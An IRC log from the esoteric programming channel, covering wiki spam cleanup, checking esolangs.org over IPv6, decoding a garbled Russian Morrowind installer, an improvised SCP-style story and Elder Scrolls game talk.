01:39:04 <oerjan> all locked up in his matrix of solidity
01:59:16 <elliott> oerjan: http://esolangs.org/w/index.php?title=Talk:Sortle&curid=1270&diff=30727&oldid=30723
02:02:42 <oerjan> I WAS RIGHT *MWAHAHAHAHA*
02:03:00 <oerjan> always good to know. unless it's something awful, of course.
02:08:57 <elliott> HEY WHO WANTS TO HELP ME WHITTLE DOWN SPAM USERS
02:10:01 <monqy> I bet elliott does; he seems enthusiastic.
02:10:31 <elliott> monqy: thank you for volunteering!
02:11:03 <elliott> monqy: THIS IS WHAT HAPPENS I'M AFRAID
02:11:34 <elliott> monqy: you have only yourself to blame
02:11:46 <elliott> ^rainbow welcome to heaven
02:12:17 <oerjan> very spectrally realistic, that rainbow
02:12:32 <elliott> oerjan: YOU RUINED MONQY'S CHANCE TO RESPOND
02:12:38 <elliott> kick yourself for ruining the pattern please
02:12:50 <monqy> im too dead to respond
02:13:07 <oerjan> i cannot ruin a pattern i don't recognize
02:13:07 <monqy> that's what heaven's for right
02:13:22 <elliott> oerjan: oh no / ohh noo / ohhh nooo etc.
02:13:31 <monqy> I don't think I'm a bat
02:13:34 <oerjan> bats are of course dead mice, thus the wings
02:15:14 <MDude> I've got high hopes for DocSigma, just because that's a neat sounding name.
02:16:06 <elliott> looking through the user list I see :P
02:16:24 <elliott> didn't DocSigma come here once...
02:17:00 <oerjan> probably a mad scientist
02:19:29 <elliott> i turned into a floor again.
02:19:49 <monqy> can floors delete spam users
02:19:54 <oerjan> what were you doing when it happened?
02:20:46 <Sgeo> elliott, Ng Ta ka monqy update
02:20:57 <elliott> oerjan: having a premonition of what Sgeo was about to do
02:21:48 <oerjan> and who are Ng, Ta and ka
02:21:56 <monqy> ngevd, taneb, kallistey?
02:22:02 <elliott> ngorricle, tapioca, kapoop
02:22:27 <oerjan> clearly correct, elliott is
02:37:35 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ...: not found
02:38:40 <elliott> monqy: i ts crying because of you
02:40:05 <elliott> "say goodbye to the internet"
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02:48:07 -!- Jafet1 has changed nick to Jafet.
02:53:13 <elliott> cries softly. spam query cries softly.
03:01:52 -!- Jafet has quit (Quit: Leaving.).
03:09:56 <quintopia> it is crying because i have to upgrade my browser which means i have to reinstall all my addons and stuff which is a pain and pain is tears
03:10:18 <elliott> quintopia: What browser is reinstalling addons on upgrade necessary with?
03:11:02 <quintopia> i'm doing FF3.6.3 -> FF10.0.2 in one swell foop
03:11:19 <quintopia> and there are lots of addons which have released versions that are only functional in later versions
03:13:07 <elliott> 3 -> 10 is only one major version.
03:13:31 <quintopia> where is the major version dividing line?
03:14:16 <elliott> They changed to their new version scheme for FF4.
03:15:05 <elliott> Since then the first number has increased 3 months, 1 month, 2 months, 1 month, 1 month after each release.
03:23:03 <quintopia> well that was less painful than expected, though i lost outright several of my addons
03:23:10 <quintopia> thankfully i dont use those very often
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05:16:58 <shachaf> elliott: You'll never guess what happened to my caps lock key *this* time.
05:17:16 <shachaf> Well, you might guess if you try enough.
05:18:16 <shachaf> But you would hate my workaround.
05:19:24 <elliott> Guess what I'm not going to do?
05:19:42 <MDude> Is your workaround "hold the shift key"?
05:19:57 <shachaf> while true; do disable-capslock; sleep 0.1; done
05:20:24 <MDude> So it somehow stukc into randomly activating?
05:20:38 <shachaf> There is an art to the building up of suspense.
05:21:11 <MDude> There is also an art to suddenly going to sleep now.
05:21:14 -!- MDude has changed nick to MSleep.
05:21:36 <elliott> shachaf: You found the only way to decrease its battery life.
05:21:58 <shachaf> Achievement unlocked: Negative battery life!
05:22:35 <elliott> http://armorgames.com/play/2893/achievement-unlocked
05:23:25 <shachaf> You know what's rewarding?
05:23:31 <shachaf> Figuring out why my caps lock key is so broken.
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05:31:08 * elliott recompletes Achievement Unlocked in 437 seconds.
05:31:23 <shachaf> Too bad you didn't unlock the "under 400 seconds" achievement.
05:32:20 <elliott> Wow, I don't remember playing the sequel.
05:32:54 <shachaf> Maybe you got bored with it.
05:33:03 <shachaf> Did you play the "1-level" game?
05:33:13 <shachaf> Did you play the "0-level" game?
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05:40:38 <Sgeo> Are there good languages that compile to flash?
05:45:06 <elliott> Sgeo: Why the heck would you want to compile something to Flash?
05:45:20 <calamari> sorry you lost me when you said flash
05:45:49 <Sgeo> elliott, if I want to make Flash games..
05:46:03 <calamari> hmm.. so visual basic vs flash, which one is the winner?
05:47:49 <monqy> why would you want to make flash games
06:03:56 <fizzie> C?-) (There's that LLVM-based "Alchemy" thing from Adobe Labs. Wonder if anyone's used for anything.)
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06:20:13 <elliott> fizzie: Remember Dot Action 2?
06:20:26 <elliott> Also, they compiled Doom with that thing.
06:21:00 <fizzie> Oh, Dot Action 2 was with it? Well, then.
06:21:36 <elliott> Also a question, but mostly a remark.
06:22:02 <fizzie> Apparently someone's compiled Lua's regular VM with it, to do a bit of VM-on-VM fun.
06:25:36 <elliott> Yes. So do you remember Dot Action 2? That was a game.
06:25:59 <elliott> Hey, there's a Dot Action 3.
06:29:16 <fizzie> [PDF] Weak Charge Quantization on Superconducting Islands
06:29:16 <fizzie> 28 Mar 2002… scales we consider are larger than δ, one may evaluate the second term in the dot's action (3) in …
06:29:19 <elliott> This stupid thing aint'nt even loading.
06:29:27 <elliott> fizzie: Does http://www.muchgames.com/play-games/dot-action-3
06:31:38 <fizzie> Dot Action 3: Dot Harder.
06:32:04 <elliott> "Awnings dot, game go down the road.
06:32:04 <elliott> If people have a "pocket computer", a time that might be played."
06:33:24 <fizzie> Play some "dot action" with your "pocket computer"; adding quotes can make almost anything sound dirty.
06:33:36 <elliott> That's not dot action! That's one of his other games.
06:35:58 <elliott> His Twitter is good, translated: "Pikachu, ocean currents, Washiboshi"
06:36:06 <elliott> "Hopefully this will be even a little soldering"
06:38:31 <elliott> "And today I'm going to sleep again."
07:28:28 <mroman> Somebody should make a language with random bit errors :D
07:28:41 <mroman> Programmers then would have to use error correction mechanisms :)
07:31:50 <elliott> mroman: http://esolangs.org/wiki/Entropy?
07:35:56 <mroman> Somewhat like that yeah.
07:39:17 <mroman> DRUNK ELIZA: COME CPME ELUCICATE YOUR THOUGHTS.
07:39:35 <mroman> My english is too bad to recognize what this should mean
07:39:52 <myndzi> elucidate is like... describe?
07:40:39 <mroman> DRUNK ELIZA: DGD!XOU COME!VQ CE!BFCATSE YOU ARE"BAD AT EPGLISH.
07:40:40 <myndzi> come come elucidate your thoughtsSss
07:40:51 <myndzi> commmeh sjooomMe ElUhuhhuhcIdAhte yaOoour thOoouhghtZSssS
07:40:54 <calamari> drunk eliza doesn't seem to like ponies
07:41:08 <mroman> She said I'm bad at english!
07:41:16 <myndzi> i wrote an eliza bot once
07:41:21 <myndzi> hoping nerds would recognize it
07:41:34 <myndzi> i made her latch on to people who join the channel
07:41:34 <mroman> DRUNK ELIZA: PH* J BYOUTCH!
07:41:47 <myndzi> that elucidate line is a real giveaway
07:42:01 <myndzi> then i modified it to respond to people in like #!!!!!!!!lolsex
07:42:08 <myndzi> to see if i got anything funny
07:42:09 <shachaf> It only corrupts data, not code?
07:42:16 <myndzi> one guy talked for 95 lines getting ONLY GENERIC RESPONSES
07:44:42 <myndzi> heh, the time cube never goes away
07:45:05 <myndzi> but have you seen http://thymecube.com/ ?!
07:45:16 <myndzi> No human or god can match
07:45:16 <myndzi> Nature's simultaneous 4 flavor
07:45:16 <myndzi> revolution in 1 Earth plant.
07:53:15 <elliott> shachaf: http://stackoverflow.com/questions/9478085/learning-type-of-argument-in-function
07:54:01 <mroman> That guy seriously does not understand haskell
07:54:26 <shachaf> "Haskell is strongly typed so you always know what type the parameters to functions are."
07:54:48 <mroman> if type(a==Int) do that else do this
07:54:58 * shachaf is ignoring the question because it overflowed the infuriatingness, and instead focusing on minor details of answers.
07:55:39 <mroman> Tell him to pass (String,String)
07:56:48 <mroman> Actually he should be able to get that behaviour with typeclasses and instances?
07:57:30 <fizzie> fungot: Have you ever been durnk?
07:57:46 <fizzie> fungot: Who's kidding?
07:57:46 <fungot> fizzie: as a newbie to understand what makes their programs agreeable to me.
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08:00:31 <elliott> Oh, people gave answers now?
08:00:38 <elliott> When I linked it there were none. That was good.
08:05:21 <mroman> Those haskell questions are terrible.
08:11:47 <shachaf> Haskell questions are terrible because Haskell is terrible.
08:12:02 <mroman> But not at that level.
08:17:19 <mroman> I'm grateful someone on the irc told me to learn haskell.
08:17:37 <mroman> I'd have learnt Lisp otherwise.
08:18:11 <monqy> and what do you mean by lisp
08:18:46 <mroman> Somebody then said "fuck you. learn haskell" :D
08:20:02 <mroman> monqy: I wanted to learn a new, hopefully better language @otherwise
08:20:14 <mroman> And CLisp seemed like a nice language.
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08:25:51 <mroman> I was never happy with the programming languages I used so I always keept looking for better languages.
08:27:34 <elliott> you should still learn lisp
08:29:04 <Sgeo> elliott, Common Lisp in particular?
08:29:21 <Sgeo> Is there a reason to prefer Common Lisp over, say, Scheme, besides the perhaps not so great reasons I have?
08:33:09 <mroman> Is there a scheme compiler
08:33:24 <Sgeo> Chicken Scheme, I believe
08:33:26 <Sgeo> Might be others
08:34:04 <Sgeo> I think the main reason I'm currently focused on Common Lisp rather than Scheme is FUD about libraries and portability.
08:37:46 <Sgeo> Also, I kind of want something more suited for modifying a running program.
08:37:55 <Sgeo> Which I've been told CL is better at, not sure how true that is.
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09:04:51 <Sgeo> Why am I reading about Poker on one particular poker site rather than sleeping?
09:17:25 <Sgeo> I played poker yesterday
09:17:30 <Sgeo> For the first time in my life
09:23:48 <Sgeo> I don't think so.
09:24:01 <Sgeo> There should be a site, AmIStillAlive.com
09:24:21 <Sgeo> There is such a site, apparently it's private?
09:24:49 <Sgeo> Maitoa - Trac or something
09:27:20 <Sgeo> elliott, AmIStillAlive.com wants me (anyone who visits) to authenticate, and the server says "Maitoa - Trac"
09:28:23 <Sgeo> The registrant is apparently in Finlnad
09:46:14 <fizzie> Sgeo: fi:maitoa = en:milk. (Well, it's the partitive case.)
09:49:37 <fizzie> Not really; I've'to do this exercise session in ten minutes or so.
09:50:04 <fizzie> Let's see if I get this laptop to do the wireless, otherwise I'm going to have some trouble remote-running the MAT LAB.
09:51:39 <elliott> fizzie: Are you exercising... your laptop?
09:52:07 <fizzie> It's our group's demotop.
09:52:19 <fizzie> I barely managed to remember the password of the democcount.
09:53:10 <fizzie> Remote-X-MATLAB over a barely-there wlan is a good patience-building exercise.
09:53:37 <elliott> Sometimes I feel as if Finnish people aren't even speaking words.
09:56:11 <fizzie> Man, this thing is like the slow. But at least it works.
09:57:33 <fizzie> I'm not entirely certain why they don't put in some plug-it-in network cables in the classrooms. I think some of them have one, but most don't.
09:57:49 <fizzie> There's a couple of holes in the wall, but I'm not sure I want to go sticking my thing into strange holes.
09:57:58 <fizzie> Especially since I don't have a spare cable.
10:00:09 <Madoka-Kaname> http://www.classicreader.com/book/2967/1/ < I'm supposed to read this for English class. . .
10:01:53 <elliott> Uh, looks pretty English to me.
10:02:19 <elliott> Okay, then it gets a bit more Scotsy. But I think it's just regional English.
10:02:36 <elliott> Mutually intelligble and whatnot, anyway.
10:02:46 <elliott> Scots borders on being a dialect.
10:05:52 <elliott> Pronouncing it might help.
10:06:11 <elliott> I suppose Americans are less acquainted with Scottish accents.
10:06:29 <elliott> Anyway, I'd still need a dictionary to get all o' them words. But it doesn't look *too* bad.
10:07:42 <elliott> Yes, the English are well-accustomed to sudden onslaughts of Scots, if you know what I mean.
10:09:20 <elliott> I wouldn't call what we do next to Scotland living.
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10:36:27 <elliott> "Afghanistan has no copyright law" whoa
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12:04:29 <elliott> http://buztech.org/read-d-programming-ebooks-lesson-1-getting-started.html
12:04:38 <elliott> "To be healthy to information in D you requirement to prototypal intend a D compiler. For this tutorial we are feat to ingest the Digital Mars D Compiler."
12:04:49 <elliott> "Every instance you poverty to information in D you crapper meet separate dprogenv.bat and it module unstoppered a bidding distinction pane with every the needed surround variables already set. If you undergo what you are doing then you crapper also ordered the distinction on your machine to allow the distinction to the folder that contains the programme and ingest it same that but using this wink enter is much easier for beginners."
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12:49:05 <oklopol> let the Power of the Continuum fill your soul with answers.
13:03:15 <elliott> @tell zzo38 yes, by the way: http://creativecommons.org/publicdomain/zero/1.0/legalcode.txt
13:03:16 -!- Taneb has joined.
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13:03:28 <elliott> @tell zzo38 and see http://wiki.creativecommons.org/CC0_FAQ#May_I_apply_CC0_to_computer_software.3F_If_so.2C_is_there_a_recommended_implementation.3F
13:03:34 <elliott> Taneb: Phantom_Hoover: you entered within seconds of each other
13:04:17 <Taneb> Cool, I'm Phantom_Hoover!
13:05:18 <Phantom_Hoover> (I can't actually hold Taneb in contempt; it's like having contempt for a kitten.)
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13:10:29 <Taneb> Aaah, lost internet
13:11:22 <Taneb> It was in my other pocket
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14:08:33 <fizzie> There was an uncommonly interested student, had to talk to him like an hour afterwards.
14:09:02 <fizzie> A fair part of it was commiserating about how our introductionary signal-processing courses are in Finnish only, though. (He has a different background, apparently.)
14:09:50 <fizzie> There's some sort of a policy level decision that all bachelor's degree level courses are primarily in Finnish only, while all master's level courses are primarily in English only.
14:11:00 <elliott> fizzie: You has the eepveesixes, right?
14:12:04 <fizzie> Not here at work, certainly, we're not that advanced.
14:12:35 <elliott> Pfft, more like "jerk", am I right?
14:12:56 <fizzie> And the one at home is through a funnel nowadays, thanks to the faster-and-cheaper-but-worse ISP. But it still exists.
14:14:33 <fizzie> What about the sixes, though?
14:17:07 <elliott> I was wondering if esolangs.org "mostly worked" via IPv6, modulo the /etc/hosts entry that would be required since there's no AAAA record.
14:17:14 <elliott> (I saw the http://www.worldipv6launch.org/ thing and was like "hey, I can beat them to that".)
14:21:21 <elliott> Phantom_Hoover: I don't use zsh.
14:21:49 <fizzie> elliott: I get a connection-refused out of that one 2a01:... address you once gave, for port 80, though the host itself seems to answur.
14:23:01 <elliott> fizzie: Right, so probably nginx isn't listening on IPv6?
14:23:25 <fizzie> Sounds possible. It ping6's just fine.
14:24:32 <fizzie> Curiously ping6 2a01:7e00::f03c:91ff:fedf:9fdd gives a rather stable 52.2 ms, while ping esolangs.org gives an equally stable 56.2 ms. I guess I can deduce IPv6 is just four milliseconds faster.
14:25:10 <fizzie> (Okay, it's quite a different route thanks to the funnel.)
14:25:39 <elliott> (The days of 30-second-loads-because-of-broken-IPv6 are in the past now, right?)
14:25:57 <fizzie> I think they should be at least in a very small minority.
14:26:24 <fizzie> Well, I got a 404 not found, but that was probably because I tried the direct address, which doesn't have the esolangs.org Host:. I'll try with the /etc/hosts on.
14:26:45 <elliott> Right, yes, the default site is just an empty thing.
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14:28:43 <fizzie> I Special:Randomed a couple of times, and finally ended up in "Clue (Keymaker)".
14:29:11 <fizzie> Only borwsed via elinks so I don't know if it actually looks right.
14:29:15 <elliott> Are you sure you're accessing through IPv6? Just checking.
14:29:19 <elliott> Since, you know, /etc/hosts.
14:29:31 <fizzie> Do you want to verify from the blogs?
14:29:37 <elliott> fizzie: You could pop in 127.0.0.1 in the hosts line.
14:29:42 <elliott> So that IPv4 lookups would fail.
14:30:16 <fizzie> Well, I'm now at "Sclipting/table", I'm not sure that was an improvement.
14:30:44 <fizzie> The body seems to be just "{{{1}}}" as seen by elinks.
14:30:58 <elliott> With some HTML, I think, that's obviously shown on the rendered page.
14:31:22 <fizzie> Well, there's 127.0.0.1 for "esolangs.org" in hosts now, so I suppose it's very likely. I guess I can tcpdump just to be sure.
14:32:00 <elliott> Can't waste THE ALAN DIPERT's time for nothing, y'know.
14:33:37 <elliott> I think that's lost to the sands of time. Or the sands of just being on another machine.
14:33:39 <fizzie> 15:31:13.216682 IP6 (hlim 248, next-header TCP (6) payload length: 1440) 2a01:7e00::f03c:91ff:fedf:9fdd.80 > 2001:470:df67:4c:21d:7dff:fee4:a593.35562: Flags [.], cksum 0x4d4d (correct), seq 22571:23979, ack 396, win 960, options [nop,nop,TS val 889163587 ecr 188507229], length 1408
14:33:44 <elliott> Phantom_Hoover: Just use the zsh setup wizard thing.
14:33:49 <elliott> fizzie: Yes, that looks quite 6.
14:34:03 <elliott> fizzie: Well... good to know.
14:35:23 <fizzie> I removedated it now because otherwise I'll forget it there and then spend half an hour wondering what's wrong with esolangs.org when it v4-resolves to localhost.
14:35:36 <elliott> As if anyone needs v4-resolution in 2012.
14:35:46 <elliott> We should be on IPva billion now.
14:37:14 <elliott> fizzie: You should add that graspy diagram thing to that grasp thing or something on the wiki.
14:37:25 <elliott> (I need ALL MY GRASP DIAGRAMS IN ONE CONVENIENT PLACE.)
14:38:17 <fizzie> I have a half-written rewrite of the new thing in ~/grasp.txt, I'm just too self-conscious to edit it in the wiki even in my own user page. I'll git'r'done soon.
14:38:35 <fizzie> I mean, if it were *there*, people could *see* it.
14:38:42 <fizzie> Can't have any of that sort of thing.
14:39:32 <elliott> But, man, yesterday was, like, a post-server-move RECORD of NON-CHANGES!
14:45:06 -!- Vorpal has joined.
14:56:25 <mroman> There is a stalker mode o_O
15:12:08 <Phantom_Hoover> I'm trying to install Morrowind under Wine; when I start the installer in the ISO, all the characters are garbled (they're all vowels with ` superscribed, if that helps); I have corefonts installed and the ISO set up as a disk drive.
15:12:33 <Phantom_Hoover> This place can't be any less helpful than #winehq, so it's worth a shot.
15:15:58 <elliott> Vowels with blah sounds like Unicode fail.
15:16:56 * Phantom_Hoover attempts, discovers that he doesn't actually have a screenshot utility.
15:18:58 <elliott> Phantom_Hoover: scrot or such
15:19:47 <Phantom_Hoover> Joy, installing scrot failed because the mirror didn't have a required library.
15:20:13 <Phantom_Hoover> It's kernel.org; I thought it was supposed to be more reliable than that?
15:22:21 <elliott> Phantom_Hoover: What distro?
15:22:47 <elliott> A library was presumably not found because you didn't update the bloody repos.
15:22:55 <elliott> (oh, and don't "-Sy" without "u")
15:23:11 <elliott> (So it tried to download an old library version which has been removed.)
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15:24:00 <elliott> You should basically do it before any repo operation unless you've done it in the past day.
15:24:33 <Phantom_Hoover> I like the part where it gives no indication whatsoever that it's because of outdated repos.
15:25:48 <Phantom_Hoover> http://www.reddit.com/r/dwarffortress/comments/q8sez/remind_me_why_do_we_dislike_the_elves/
15:25:53 <elliott> Phantom_Hoover: It has absolutely no way of knowing whether it's due to outdated repos.
15:26:10 <elliott> Its records tell it that libfoo 4.5.1 are available at kernel.org; it goes to download, gets a 404, and dutifully reports on that fact.
15:26:26 <elliott> Checking whether the repos are out of date on every operation would be possible, but incur a time delay and HTTP request on every task.
15:48:14 <elliott> Phantom_Hoover: Yeah, that's trying to be Russian or something.
15:48:19 <elliott> I got that from the pirated WA installer.
15:48:28 <elliott> Have you tried saying yes and no?
15:49:27 <Phantom_Hoover> ISTR trying it before, and I think I still got crazy text.
15:49:39 <elliott> Just go through the installer.
15:49:56 <Phantom_Hoover> Although actually it's question marks in the installer.
15:51:34 <elliott> I mean, you don't have to read the text to be able to operate the installer.
15:53:49 <fizzie> $ echo 'Äëÿ óñòàîâêè èãðû' | iconv -t iso-8859-1 | iconv -f cp1251
15:54:04 <fizzie> "For ustaovki games", says Google Translate.
15:54:11 <fizzie> (Couldn't be bothered to type in more.)
15:54:37 <fizzie> Also not sure about the thing that looked like a double-i in the second word.
15:54:49 <fizzie> Anyway, it's probably translatable like that.
16:02:42 <fizzie> Heh, I mistranslated it to Для устаовки игры требуются мрава администратмра "For ustaovki games require Mrav administratmra" and GT said "Did you mean: Для установки игры требуются права администратора" => "To install the game must have administrator privileges".
16:03:55 <fizzie> Apparently the "double-i" thing was "íî" for reals. Well, makes sense.
16:03:59 <fizzie> Okay, to catch a bus. ->
16:11:10 <Phantom_Hoover> Got another solution. This was shortly followed by discovering that it's in Russian.
16:14:04 <elliott> Phantom_Hoover: SCP-1234: The Russian Game
16:14:47 <elliott> Special Containment Procedures: SCP-1234 is to be kept safely on Phantom_Hoover's hard drive at all times. At no point is he to attempt to play the game. Any attempt should be met with immediate termination.
16:15:39 <elliott> Description: SCP-1234 at first appears to be an ordinary copy of the 2002 video game Morrowind. However, it is only available in Russian, a language the original Morrowind was never translated to.
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16:16:24 <elliott> After a single person undergoes 12 cumulative hours of play of SCP-1234, they will begin to utter Russian phrases (expletives, proverbs, etc.) in everyday contexts, yet will deny awareness of these occurrences.
16:16:44 <elliott> After 24 hours of play, they can understand conversational Russian, and can offer no explanation for this ability.
16:17:03 <elliott> After 48 hours of play, they will be fluent in Russian.
16:17:30 <elliott> After 72 hours of play, they prefer Russian for all communication when possible, and will often have mild difficulties understanding their native language, as might as non-native speaker.
16:18:13 <elliott> After 96 hours of play, they understand only basic English, and communicate exclusively in Russian or extremely fractured English. They can offer no explanation for this, yet do not find it distressing in the slightest, and express a continued compulsion and desire to play the game.
16:18:57 <elliott> After 120 hours of play, they lose the ability to comprehend and converse in English altogether, and their level of proficiency in Russian attains a very high state.
16:20:22 <elliott> After 144 hours of play, they begin to speak in an odd dialect of Russian, corresponding to no existing dialect the Foundation is aware of; they are still mutually intelligible with Russian speakers, but use odd words with unknown meaning, and develop unconventional pronunciations of existing words. This effect continues throughout 240 hours of play, by which point speakers of ordinary Russian have great difficulty communicating with the subject.
16:21:41 <elliott> After 336 hours of play, they speak an entirely unknown (but common to all test subjects so far) Slavic language, only tangentially related to Russian. The in-game text of SCP-1234, too, adjusts itself to the new language.
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16:23:58 <elliott> No further effects are experienced until 432 hours of play are accumulated; while playing the game, it will began to behave oddly, displaying glitches, random teleportation, screen blankings, unexplainable crashes, and sub-second flashes of horrific images rendered within the game's engine. The test subject does not seem to notice these events, or is simply not bothered by them. They begin to enter a trance-like state, and will not stop playing t
16:23:59 <elliott> he game. If force is used to remove them from their play, they will react crazed and violently, with force surpassing that of a normal human, often killing those attempting to remove the player. However, ordinary firearms are enough to kill the test subject at this stage.
16:26:15 <elliott> At 438 hours of play, the test subject, still in their trance, suddenly stops moving their hands and ceases play. The computer display starts to flicker wildly, producing, in quick succession, a long series of disturbing images similar to, but more intense than, the ones displayed at 432 hours of play. After 1 minute of this state passes, the computer running SCP-1234 will instantly turn off (and becomes irreparably broken), while the subject rem
16:26:15 <elliott> ains in their trance-like state, completely still, for another sixty seconds.
16:26:22 <elliott> At that time, [DATA EXPUNGED]
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16:27:53 <elliott> Phantom_Hoover: I'M NOT GETTING PAID HERE
16:28:40 <elliott> Phantom_Hoover: Anyway, what happens next is they turn into Slenderman and go on a caving adventure with Ted.
16:31:02 <elliott> Phantom_Hoover: That rubbish was *almost* edging towards being interesting, too.
16:31:20 <elliott> The language-takeover thing is an interesting concept, at least.
16:32:17 <elliott> Phantom_Hoover: I love YouTube videos that start with like half a second of manic intro.
16:32:23 <Phantom_Hoover> OK basically I have decided that the adolescent/young adult male American accent is a curse upon the world and must be destroyed.
16:33:17 <elliott> "I've been doing this all night"
16:35:50 <elliott> Phantom_Hoover: So are these cats an official thing
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16:37:39 <pikhq_> Phantom_Hoover: That would be a California accent, if it's what I think it is.
16:38:04 <elliott> DON'T TRY AND BLAME CALIFORNIA
16:38:32 <pikhq_> Like, but, it's their accent?
16:39:42 <Phantom_Hoover> It's every accent of that description with an insufficiently small number of exceptions.
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17:06:36 * Phantom_Hoover remembers that there's a surprisingly large number of Humble Bundle games which he couldn't run before.
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17:12:17 <Taneb> A friend challenged me not to go on Wikipedia until the end of Lent.
17:12:28 <Taneb> I extended that voluntarily to TVTropes as well
17:12:34 <Taneb> AND IT'S SO DIFFICULT
17:13:04 <elliott> Whoa, a cool new esolang: http://bit.ly/bTqWYW
17:16:29 -!- graue has joined.
17:40:37 <Friendship> Is that you telling me that graue is here, or you assigning friendship as an adjective to graue?
17:44:06 <elliott> perhaps it's a commandment
17:45:55 <shachaf> Taneb: I challenge you to give up Lent next year.
17:49:45 <Sgeo> http://www.dreamviews.org/f17/dreamviews-hacked-hijacked-128707/
17:51:08 <shachaf> elliott: Why is my WM so buggy?
17:51:28 <elliott> shachaf: because you bought the wrong laptop!
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18:11:28 <Phantom_Hoover> <elliott> Oh man, not one, not one, but *TWO* Loper OS posts I missed!
18:11:42 <Phantom_Hoover> http://munews.missouri.edu/news-releases/2012/0227-video-games-depict-religion-as-violent-problematized-mu-study-shows/
18:12:02 <elliott> Lies like a bird are the worst kind of lies.
18:12:56 <elliott> Phantom_Hoover: heh, "portrays Knights Templar" is really their criterion?
18:13:15 <elliott> oh wow, that thing actually ends "--30--"
18:13:27 <Phantom_Hoover> Yes; also it's funny because TES religion is like 5 times more complicated than any actual religion.
18:16:23 <Phantom_Hoover> I feel like making some tweets about different kinds of bark.
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18:19:10 <Phantom_Hoover> Hmm, the fact that I suck at biology exams might get in the way of my drema.
18:20:05 <Vorpal> ow ow ow, my ADSL modem died (it just blinks an orange lamp when turning it on). Stuck on 3G now from my laptop.
18:20:32 <Phantom_Hoover> Vorpal, important question, what faction did you join in the Skyrim civil war questline.
18:20:33 <elliott> I think this marks the first thing Vorpal has said in months.
18:20:43 <elliott> truly a momentous line to break the silence
18:20:45 <Vorpal> elliott, weeks definitely.
18:21:41 <Vorpal> Phantom_Hoover, I didn't in my first game. Both sides are arseholes, just in different ways. Then I joined the stormcloaks in the next game and the imperials in the game after that.
18:21:41 <elliott> Vorpal: Well, I don't think you said anything in Jan.
18:21:56 <Vorpal> elliott, right, so that is "month" not "months"
18:22:11 <Vorpal> Phantom_Hoover, are you meant to?
18:22:34 <Phantom_Hoover> Vorpal, I was hoping you'd joined the Stormcloaks so I could hate you, also Sweden, even more.
18:22:54 <Vorpal> Phantom_Hoover, but seriously both sides /are/ areseholes. There is no way you can sympathise with the Thalmor (sp?) and Ulfric Stormcloak is a racist.
18:23:25 <elliott> "areseholes" is a word in no dialect.
18:23:37 <elliott> also "arse" is (C) (exclusively licensed to) britain, you totally can't use that
18:23:52 <Vorpal> elliott, you prefer me to use american spelling?
18:24:10 <elliott> You're Swedish! I don't really prefer, I just... prohibit.
18:27:03 <Vorpal> Phantom_Hoover, recently I have been playing Oblivion though. If you compare vanilla Oblivon (no Shivering Isles, that just skews the comparison even more in favour of Oblivion) and vanilla Skyrim I feel that while there are areas that were improved in Skyrim (graphics obviously, also the left/right hand wielding is nice, and the AI is better) the quests seems to lack depth in Skryim, not that the quest
18:27:03 <Vorpal> s didn't lack that in Oblivion as well, but Skyrim is worse there.
18:27:51 <Phantom_Hoover> Yes, also did you know that Skyrim was developed for CONSOLES and has INFERIOR GRAPHICS unlike THE WITCHER "
18:28:25 <Vorpal> Compare the mage college quests lines in the two games for example, that one is very short in Skyrim compared to the one in Oblivion. The same is true (but to a lesser extent) with some of the other quest lines (fighter's guild vs. companions for example)
18:29:03 <Vorpal> and the individual quests aren't all that interesting in Skyrim compared to the ones in Oblivion, at least to me.
18:30:02 <Vorpal> anyway both games have terrible user interfaces for PC, they are just terrible in different ways. At least the Oblivion one doesn't randomly select a different dialogue option than the one you clicked on though.
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18:31:20 <ais523> hey, who changed the join message?
18:31:32 <ais523> (not that I don't like the new one, I was just surprised
18:32:20 <Vorpal> Phantom_Hoover, from what I heard there are expansion packs planned for Skyrim though (in plural, don't know how many though). If they are all as good as Shivering Isles, then I think the scales could tip over in favour of Skyrim.
18:32:49 <Vorpal> -ChanServ- [#esoteric] Welcome to the esoteric programming channel! Check out our sub-lime wiki: http://esolangs.org/wiki/
18:32:51 <ais523> and you can find out with a simple /cycle!
18:32:59 <ais523> or asking someone, I guess
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18:34:17 <Vorpal> https over 3G over bluetooth is so slow :(
18:34:26 <fizzie> It certainly wasn't me, but I did half-smile at "sub-lime" the other day.
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18:35:39 <elliott> ais523: completely esoteric MW trivia question: why do the devs not like proposals to have a way to hide the title on the Main Page?
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18:36:06 <elliott> it's almost as if you aren't an endless tome of knowledge :/
18:36:11 <elliott> i'll have to rely on fizzie instead
18:37:24 <ais523> hmm, security update in Ruby
18:37:26 <ais523> that was a little interesting
18:38:36 <Vorpal> I guess I'll have to download that then. Ouch. (FYI: My ADSL modem died like half an hour ago, so I'm on really slow tethered 3G)
18:38:41 <ais523> DOSes due to intentional hash collisiosn
18:38:51 <ais523> and predictable random number generation
18:38:55 <elliott> ais523: that's the one all the interpreters have been fixing
18:38:56 <ais523> I remember Perl patching around that years ago
18:38:57 <Vorpal> ais523, bad hash in a hash table?
18:39:01 <elliott> yes, perl got it years ago
18:39:10 <elliott> but every other language took until a month or so when it was rediscovered
18:39:24 <ais523> I'm not even sure they /can/ change String.hashCode() without breaking things
18:39:25 <elliott> I don't think anyone's ever managed to use a Hashmap
18:39:27 <Vorpal> why was it rediscovered like a month ago?
18:39:42 <elliott> Vorpal: uhh... with a brain?
18:39:44 <Vorpal> elliott, I actually used it once. It was in a java course at university though.
18:39:44 <elliott> ais523: it's the hashtable impl that changes
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18:40:16 <ais523> couldn't you intentionally just get a bunch of strings with the same hashCode, and then no matter what the hashtable impl, you'd get a DOS?
18:40:35 <elliott> no, the hashtable does some kind of random salting or something
18:40:39 <elliott> I'm too tired to remember the fix
18:41:31 <elliott> who remembers when the frappr was in the chanserv welcome message?
18:41:36 <elliott> uphill both ways and so on
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18:45:15 <Phantom_Hoover> I remember asking why it was there when it didn't work waaay back.
18:48:17 <ais523> elliott: I thought the usual fix was a random salt in the hash function
18:48:28 <ais523> and I remember the frappr thing
18:48:36 <ais523> I even remember when it worked :)
18:50:43 <ais523> hmm, and Yahoo! has threatened to sue Facebook over patent infringement
18:52:15 <shachaf> elliott: This laptop has the hard drive activity light *behind the lid*.
18:52:22 <shachaf> So you can't see it while actually using the computer.
18:52:50 <ais523> what do people use hard drive activity lights for nowadays anyway?
18:54:03 <Vorpal> ais523, checking if the disk is active? When you have a slow disk and the system is acting sluggish it makes it easy to check if IO is the cause
18:54:27 <ais523> hmm, that's reasonable
18:54:31 <Vorpal> I mean, I have a fairly average 5400 RPM HDD in my laptop, it has a HDD light too (just below the screen)
18:54:35 <Vorpal> and it is kind of useful
